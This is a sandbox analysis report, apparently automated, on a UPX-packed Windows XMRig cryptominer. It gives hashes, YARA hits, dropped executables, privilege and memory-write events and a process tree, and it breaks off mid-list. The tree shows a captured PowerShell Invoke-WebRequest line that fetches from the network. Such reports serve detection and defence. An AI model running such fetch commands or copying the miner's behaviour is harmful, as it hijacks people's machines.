xmrig | 91ae760d065ef71217efa1034d3d73a3b083f46aa444deb3b52788242c4e77ac

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
08/05/2024, 20:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
Size

1.9MB
MD5

365a888e21f17fd805cc3f7832b575d0
SHA1

01602ad18c9b64ecf1b817bb51b90b00b33eecb8
SHA256

91ae760d065ef71217efa1034d3d73a3b083f46aa444deb3b52788242c4e77ac
SHA512

501185ed374985cc654df5b55ff0368a5679e2f43d10ba4d6ba5088e485aeaf2028c1e47027e495f233bb2e9fc4ae23a1d6eca5bfa672ee44161dedc960b287a
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pPg8dOP:NABy

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 49 IoCs

miner

resource	yara_rule
behavioral2/memory/4712-540-0x00007FF7F5110000-0x00007FF7F5502000-memory.dmp	xmrig
behavioral2/memory/2132-641-0x00007FF6D2A60000-0x00007FF6D2E52000-memory.dmp	xmrig
behavioral2/memory/3876-693-0x00007FF7134B0000-0x00007FF7138A2000-memory.dmp	xmrig
behavioral2/memory/1272-696-0x00007FF78B0A0000-0x00007FF78B492000-memory.dmp	xmrig
behavioral2/memory/2892-699-0x00007FF6C2250000-0x00007FF6C2642000-memory.dmp	xmrig
behavioral2/memory/4660-698-0x00007FF7ADCF0000-0x00007FF7AE0E2000-memory.dmp	xmrig
behavioral2/memory/4496-697-0x00007FF667F30000-0x00007FF668322000-memory.dmp	xmrig
behavioral2/memory/2152-695-0x00007FF705250000-0x00007FF705642000-memory.dmp	xmrig
behavioral2/memory/4196-694-0x00007FF79EAC0000-0x00007FF79EEB2000-memory.dmp	xmrig
behavioral2/memory/2972-692-0x00007FF7583F0000-0x00007FF7587E2000-memory.dmp	xmrig
behavioral2/memory/2516-691-0x00007FF7C0BA0000-0x00007FF7C0F92000-memory.dmp	xmrig
behavioral2/memory/4344-535-0x00007FF6310C0000-0x00007FF6314B2000-memory.dmp	xmrig
behavioral2/memory/1580-454-0x00007FF75E750000-0x00007FF75EB42000-memory.dmp	xmrig
behavioral2/memory/1968-379-0x00007FF65AA20000-0x00007FF65AE12000-memory.dmp	xmrig
behavioral2/memory/2836-376-0x00007FF7496B0000-0x00007FF749AA2000-memory.dmp	xmrig
behavioral2/memory/732-303-0x00007FF62E1B0000-0x00007FF62E5A2000-memory.dmp	xmrig
behavioral2/memory/3216-300-0x00007FF707230000-0x00007FF707622000-memory.dmp	xmrig
behavioral2/memory/3900-255-0x00007FF70AB80000-0x00007FF70AF72000-memory.dmp	xmrig
behavioral2/memory/1560-212-0x00007FF637B50000-0x00007FF637F42000-memory.dmp	xmrig
behavioral2/memory/3988-215-0x00007FF796050000-0x00007FF796442000-memory.dmp	xmrig
behavioral2/memory/4976-171-0x00007FF7F5270000-0x00007FF7F5662000-memory.dmp	xmrig
behavioral2/memory/4564-127-0x00007FF707B20000-0x00007FF707F12000-memory.dmp	xmrig
behavioral2/memory/3416-87-0x00007FF6BD6C0000-0x00007FF6BDAB2000-memory.dmp	xmrig
behavioral2/memory/3304-83-0x00007FF7848A0000-0x00007FF784C92000-memory.dmp	xmrig
behavioral2/memory/4008-4008-0x00007FF6A9BE0000-0x00007FF6A9FD2000-memory.dmp	xmrig
behavioral2/memory/2152-4355-0x00007FF705250000-0x00007FF705642000-memory.dmp	xmrig
behavioral2/memory/3304-4362-0x00007FF7848A0000-0x00007FF784C92000-memory.dmp	xmrig
behavioral2/memory/3416-4372-0x00007FF6BD6C0000-0x00007FF6BDAB2000-memory.dmp	xmrig
behavioral2/memory/3900-4391-0x00007FF70AB80000-0x00007FF70AF72000-memory.dmp	xmrig
behavioral2/memory/4564-4388-0x00007FF707B20000-0x00007FF707F12000-memory.dmp	xmrig
behavioral2/memory/4976-4396-0x00007FF7F5270000-0x00007FF7F5662000-memory.dmp	xmrig
behavioral2/memory/1560-4399-0x00007FF637B50000-0x00007FF637F42000-memory.dmp	xmrig
behavioral2/memory/1272-4404-0x00007FF78B0A0000-0x00007FF78B492000-memory.dmp	xmrig
behavioral2/memory/4496-4411-0x00007FF667F30000-0x00007FF668322000-memory.dmp	xmrig
behavioral2/memory/2836-4420-0x00007FF7496B0000-0x00007FF749AA2000-memory.dmp	xmrig
behavioral2/memory/2516-4423-0x00007FF7C0BA0000-0x00007FF7C0F92000-memory.dmp	xmrig
behavioral2/memory/3988-4415-0x00007FF796050000-0x00007FF796442000-memory.dmp	xmrig
behavioral2/memory/3216-4407-0x00007FF707230000-0x00007FF707622000-memory.dmp	xmrig
behavioral2/memory/732-4383-0x00007FF62E1B0000-0x00007FF62E5A2000-memory.dmp	xmrig
behavioral2/memory/4344-4428-0x00007FF6310C0000-0x00007FF6314B2000-memory.dmp	xmrig
behavioral2/memory/2892-4441-0x00007FF6C2250000-0x00007FF6C2642000-memory.dmp	xmrig
behavioral2/memory/4660-4465-0x00007FF7ADCF0000-0x00007FF7AE0E2000-memory.dmp	xmrig
behavioral2/memory/2132-4459-0x00007FF6D2A60000-0x00007FF6D2E52000-memory.dmp	xmrig
behavioral2/memory/4712-4454-0x00007FF7F5110000-0x00007FF7F5502000-memory.dmp	xmrig
behavioral2/memory/3876-4500-0x00007FF7134B0000-0x00007FF7138A2000-memory.dmp	xmrig
behavioral2/memory/2972-4480-0x00007FF7583F0000-0x00007FF7587E2000-memory.dmp	xmrig
behavioral2/memory/4196-4449-0x00007FF79EAC0000-0x00007FF79EEB2000-memory.dmp	xmrig
behavioral2/memory/1580-4445-0x00007FF75E750000-0x00007FF75EB42000-memory.dmp	xmrig
behavioral2/memory/1968-4431-0x00007FF65AA20000-0x00007FF65AE12000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
976	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2152	RpkbjxQ.exe
3304	KFMNheD.exe
3416	hJEjtrv.exe
4564	qbNPHXn.exe
4976	xgFXDJa.exe
1560	pgrTyPu.exe
3988	BWwFiOh.exe
3900	vjqAhjI.exe
1272	xmUiMUL.exe
3216	TnmGUmO.exe
732	koHblDw.exe
4496	FBlMwiy.exe
2836	OusjNRB.exe
1968	TWWKhOW.exe
4660	MHatRNC.exe
1580	NfskFYf.exe
4344	rrhTruR.exe
4712	WWHEgDU.exe
2132	WZptHLH.exe
2516	rKQCgAV.exe
2892	TjAVgld.exe
2972	HxsvSiE.exe
3876	nRcTcBu.exe
4196	KLYzJFR.exe
1884	GJckpoD.exe
3780	fAMSHIH.exe
5100	KlqPzmc.exe
4508	kQabBrl.exe
2676	KUSSWyy.exe
4264	ehJXVww.exe
1124	PMKAlDA.exe
3624	peTDdsN.exe
2496	BypLeOp.exe
2444	lqjuibD.exe
1052	BZuhrlN.exe
4800	clNQCbM.exe
1184	nmHyLEJ.exe
1040	tibuCQc.exe
3440	tyEDXpB.exe
5008	SrMvZPH.exe
4256	JEXpQjY.exe
828	xBRTBbE.exe
3620	uiGQhJx.exe
3168	iHwYzhv.exe
3400	rwXhGit.exe
4064	jRGLenV.exe
3932	zzJkaWc.exe
1612	yesICeQ.exe
4964	vyanixr.exe
3628	qztPJqD.exe
1168	agFZNgt.exe
4420	WbKaGyx.exe
4864	YTbPyXS.exe
3020	JJOYYQA.exe
2036	xxuLtdY.exe
2272	zpxsMTN.exe
2384	fCNayDl.exe
3452	jILqfrs.exe
5112	ombwdWc.exe
1428	BZsKNIS.exe
2996	UENeqVm.exe
1452	UWGqPRb.exe
3320	tmiUCBl.exe
2360	rFgJXQT.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4008-0-0x00007FF6A9BE0000-0x00007FF6A9FD2000-memory.dmp	upx
behavioral2/files/0x0007000000023298-6.dat	upx
behavioral2/files/0x0007000000023425-10.dat	upx
behavioral2/files/0x0008000000023421-11.dat	upx
behavioral2/files/0x0008000000023429-52.dat	upx
behavioral2/files/0x000700000002342d-93.dat	upx
behavioral2/files/0x0008000000023428-133.dat	upx
behavioral2/memory/4712-540-0x00007FF7F5110000-0x00007FF7F5502000-memory.dmp	upx
behavioral2/memory/2132-641-0x00007FF6D2A60000-0x00007FF6D2E52000-memory.dmp	upx
behavioral2/memory/3876-693-0x00007FF7134B0000-0x00007FF7138A2000-memory.dmp	upx
behavioral2/memory/1272-696-0x00007FF78B0A0000-0x00007FF78B492000-memory.dmp	upx
behavioral2/memory/2892-699-0x00007FF6C2250000-0x00007FF6C2642000-memory.dmp	upx
behavioral2/memory/4660-698-0x00007FF7ADCF0000-0x00007FF7AE0E2000-memory.dmp	upx
behavioral2/memory/4496-697-0x00007FF667F30000-0x00007FF668322000-memory.dmp	upx
behavioral2/memory/2152-695-0x00007FF705250000-0x00007FF705642000-memory.dmp	upx
behavioral2/memory/4196-694-0x00007FF79EAC0000-0x00007FF79EEB2000-memory.dmp	upx
behavioral2/memory/2972-692-0x00007FF7583F0000-0x00007FF7587E2000-memory.dmp	upx
behavioral2/memory/2516-691-0x00007FF7C0BA0000-0x00007FF7C0F92000-memory.dmp	upx
behavioral2/memory/4344-535-0x00007FF6310C0000-0x00007FF6314B2000-memory.dmp	upx
behavioral2/memory/1580-454-0x00007FF75E750000-0x00007FF75EB42000-memory.dmp	upx
behavioral2/memory/1968-379-0x00007FF65AA20000-0x00007FF65AE12000-memory.dmp	upx
behavioral2/memory/2836-376-0x00007FF7496B0000-0x00007FF749AA2000-memory.dmp	upx
behavioral2/memory/732-303-0x00007FF62E1B0000-0x00007FF62E5A2000-memory.dmp	upx
behavioral2/memory/3216-300-0x00007FF707230000-0x00007FF707622000-memory.dmp	upx
behavioral2/memory/3900-255-0x00007FF70AB80000-0x00007FF70AF72000-memory.dmp	upx
behavioral2/memory/1560-212-0x00007FF637B50000-0x00007FF637F42000-memory.dmp	upx
behavioral2/files/0x0007000000023449-204.dat	upx
behavioral2/files/0x0007000000023448-203.dat	upx
behavioral2/files/0x0007000000023435-201.dat	upx
behavioral2/files/0x0007000000023434-199.dat	upx
behavioral2/files/0x0007000000023447-198.dat	upx
behavioral2/files/0x0007000000023446-197.dat	upx
behavioral2/files/0x000700000002343b-189.dat	upx
behavioral2/files/0x0007000000023444-188.dat	upx
behavioral2/files/0x0007000000023443-183.dat	upx
behavioral2/files/0x0007000000023438-179.dat	upx
behavioral2/files/0x0007000000023442-177.dat	upx
behavioral2/memory/3988-215-0x00007FF796050000-0x00007FF796442000-memory.dmp	upx
behavioral2/files/0x0007000000023437-174.dat	upx
behavioral2/memory/4976-171-0x00007FF7F5270000-0x00007FF7F5662000-memory.dmp	upx
behavioral2/files/0x0007000000023432-166.dat	upx
behavioral2/files/0x0007000000023441-165.dat	upx
behavioral2/files/0x0007000000023440-159.dat	upx
behavioral2/files/0x000700000002343f-156.dat	upx
behavioral2/files/0x000700000002343e-153.dat	upx
behavioral2/files/0x0007000000023431-147.dat	upx
behavioral2/files/0x0007000000023445-193.dat	upx
behavioral2/files/0x000700000002343d-143.dat	upx
behavioral2/files/0x000700000002343a-135.dat	upx
behavioral2/files/0x0007000000023439-132.dat	upx
behavioral2/files/0x0007000000023433-180.dat	upx
behavioral2/files/0x0007000000023436-120.dat	upx
behavioral2/files/0x0007000000023430-110.dat	upx
behavioral2/files/0x000700000002343c-142.dat	upx
behavioral2/memory/4564-127-0x00007FF707B20000-0x00007FF707F12000-memory.dmp	upx
behavioral2/memory/3416-87-0x00007FF6BD6C0000-0x00007FF6BDAB2000-memory.dmp	upx
behavioral2/memory/3304-83-0x00007FF7848A0000-0x00007FF784C92000-memory.dmp	upx
behavioral2/files/0x000700000002342f-102.dat	upx
behavioral2/files/0x000700000002342c-67.dat	upx
behavioral2/files/0x000700000002342e-59.dat	upx
behavioral2/files/0x000700000002342b-58.dat	upx
behavioral2/files/0x000700000002342a-57.dat	upx
behavioral2/files/0x0007000000023427-56.dat	upx
behavioral2/files/0x0007000000023426-49.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\JGFyTgj.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\eaJPvVx.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\zpMSmFS.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\ElySbQe.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\lzFsqnL.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\FuFhHPW.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\BrXXdwy.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\vtWtZhu.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\iIyaDqI.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\qpaAxYC.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\xqZPKYt.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\ripbJgG.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\SJxUXld.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\brXnCEN.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\WzJpfqw.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\vpebikp.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\BKUuTdL.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\ZYHddYM.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\ssCUFea.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\uycKvhp.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\YOannAY.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\OXXkFmT.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\StiuTqR.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\SrOUGlb.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\XgtTbbf.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\BgpzdCo.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\lFwBsOJ.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\wPgvTzP.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\xtePbvY.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\votVPBU.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\IdzuuFU.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\ftXmthF.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\boslrrk.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\fgKQGFf.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\QBoBEHD.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\UCqwhgz.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\QuVAnXc.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\ujHFRkH.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\FTOXHzq.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\UoKdjsW.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\qxtFCTi.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\DZFIkLQ.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\XPzmQbn.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\sKRUdEX.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\VNcILPV.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\bWvxdNt.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\fNRiUlt.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\OrSqMvf.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\YDltmOc.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\YsawFZq.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\KoyRBXB.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\jNLqCFQ.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\qixaHdY.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\PQCXmhK.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\WDyBLaQ.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\DEEBIdF.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\DoqqCvM.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\VbpTFli.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\KPAesBB.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\YOYvhYk.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\brkCLWL.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\RFVIbRv.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\NQnidqZ.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
File created	C:\Windows\System\iyBzeiT.exe	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
976	powershell.exe
976	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
Token: SeLockMemoryPrivilege	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
Token: SeDebugPrivilege	976	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 976	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	84
PID 4008 wrote to memory of 976	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	84
PID 4008 wrote to memory of 2152	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	85
PID 4008 wrote to memory of 2152	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	85
PID 4008 wrote to memory of 3304	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	86
PID 4008 wrote to memory of 3304	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	86
PID 4008 wrote to memory of 3416	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	87
PID 4008 wrote to memory of 3416	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	87
PID 4008 wrote to memory of 4564	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	88
PID 4008 wrote to memory of 4564	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	88
PID 4008 wrote to memory of 4976	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	89
PID 4008 wrote to memory of 4976	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	89
PID 4008 wrote to memory of 1560	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	90
PID 4008 wrote to memory of 1560	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	90
PID 4008 wrote to memory of 3988	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	91
PID 4008 wrote to memory of 3988	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	91
PID 4008 wrote to memory of 3900	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	92
PID 4008 wrote to memory of 3900	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	92
PID 4008 wrote to memory of 3216	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	93
PID 4008 wrote to memory of 3216	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	93
PID 4008 wrote to memory of 1272	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	94
PID 4008 wrote to memory of 1272	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	94
PID 4008 wrote to memory of 732	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	95
PID 4008 wrote to memory of 732	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	95
PID 4008 wrote to memory of 4496	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	96
PID 4008 wrote to memory of 4496	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	96
PID 4008 wrote to memory of 2836	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	97
PID 4008 wrote to memory of 2836	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	97
PID 4008 wrote to memory of 1968	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	98
PID 4008 wrote to memory of 1968	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	98
PID 4008 wrote to memory of 4660	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	99
PID 4008 wrote to memory of 4660	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	99
PID 4008 wrote to memory of 1580	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	100
PID 4008 wrote to memory of 1580	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	100
PID 4008 wrote to memory of 4344	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	101
PID 4008 wrote to memory of 4344	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	101
PID 4008 wrote to memory of 4712	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	102
PID 4008 wrote to memory of 4712	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	102
PID 4008 wrote to memory of 2132	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	103
PID 4008 wrote to memory of 2132	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	103
PID 4008 wrote to memory of 2516	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	104
PID 4008 wrote to memory of 2516	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	104
PID 4008 wrote to memory of 2892	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	105
PID 4008 wrote to memory of 2892	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	105
PID 4008 wrote to memory of 3624	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	106
PID 4008 wrote to memory of 3624	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	106
PID 4008 wrote to memory of 2972	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	107
PID 4008 wrote to memory of 2972	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	107
PID 4008 wrote to memory of 3876	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	108
PID 4008 wrote to memory of 3876	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	108
PID 4008 wrote to memory of 4196	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	109
PID 4008 wrote to memory of 4196	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	109
PID 4008 wrote to memory of 1884	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	110
PID 4008 wrote to memory of 1884	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	110
PID 4008 wrote to memory of 3780	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	111
PID 4008 wrote to memory of 3780	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	111
PID 4008 wrote to memory of 5100	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	112
PID 4008 wrote to memory of 5100	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	112
PID 4008 wrote to memory of 4508	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	113
PID 4008 wrote to memory of 4508	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	113
PID 4008 wrote to memory of 2676	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	114
PID 4008 wrote to memory of 2676	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	114
PID 4008 wrote to memory of 4264	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	115
PID 4008 wrote to memory of 4264	4008	365a888e21f17fd805cc3f7832b575d0_NEIKI.exe	115

C:\Users\Admin\AppData\Local\Temp\365a888e21f17fd805cc3f7832b575d0_NEIKI.exe
"C:\Users\Admin\AppData\Local\Temp\365a888e21f17fd805cc3f7832b575d0_NEIKI.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:976
- C:\Windows\System\RpkbjxQ.exe
  C:\Windows\System\RpkbjxQ.exe
  2⤵
  - Executes dropped EXE
  PID:2152
- C:\Windows\System\KFMNheD.exe
  C:\Windows\System\KFMNheD.exe
  2⤵
  - Executes dropped EXE
  PID:3304
- C:\Windows\System\hJEjtrv.exe
  C:\Windows\System\hJEjtrv.exe
  2⤵
  - Executes dropped EXE
  PID:3416
- C:\Windows\System\qbNPHXn.exe
  C:\Windows\System\qbNPHXn.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\xgFXDJa.exe
  C:\Windows\System\xgFXDJa.exe
  2⤵
  - Executes dropped EXE
  PID:4976
- C:\Windows\System\pgrTyPu.exe
  C:\Windows\System\pgrTyPu.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\BWwFiOh.exe
  C:\Windows\System\BWwFiOh.exe
  2⤵
  - Executes dropped EXE
  PID:3988
- C:\Windows\System\vjqAhjI.exe
  C:\Windows\System\vjqAhjI.exe
  2⤵
  - Executes dropped EXE
  PID:3900
- C:\Windows\System\TnmGUmO.exe
  C:\Windows\System\TnmGUmO.exe
  2⤵
  - Executes dropped EXE
  PID:3216
- C:\Windows\System\xmUiMUL.exe
  C:\Windows\System\xmUiMUL.exe
  2⤵
  - Executes dropped EXE
  PID:1272
- C:\Windows\System\koHblDw.exe
  C:\Windows\System\koHblDw.exe
  2⤵
  - Executes dropped EXE
  PID:732
- C:\Windows\System\FBlMwiy.exe
  C:\Windows\System\FBlMwiy.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- C:\Windows\System\OusjNRB.exe
  C:\Windows\System\OusjNRB.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\TWWKhOW.exe
  C:\Windows\System\TWWKhOW.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\MHatRNC.exe
  C:\Windows\System\MHatRNC.exe
  2⤵
  - Executes dropped EXE
  PID:4660
- C:\Windows\System\NfskFYf.exe
  C:\Windows\System\NfskFYf.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\rrhTruR.exe
  C:\Windows\System\rrhTruR.exe
  2⤵
  - Executes dropped EXE
  PID:4344
- C:\Windows\System\WWHEgDU.exe
  C:\Windows\System\WWHEgDU.exe
  2⤵
  - Executes dropped EXE
  PID:4712
- C:\Windows\System\WZptHLH.exe
  C:\Windows\System\WZptHLH.exe
  2⤵
  - Executes dropped EXE
  PID:2132
- C:\Windows\System\rKQCgAV.exe
  C:\Windows\System\rKQCgAV.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\TjAVgld.exe
  C:\Windows\System\TjAVgld.exe
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\System\peTDdsN.exe
  C:\Windows\System\peTDdsN.exe
  2⤵
  - Executes dropped EXE
  PID:3624
- C:\Windows\System\HxsvSiE.exe
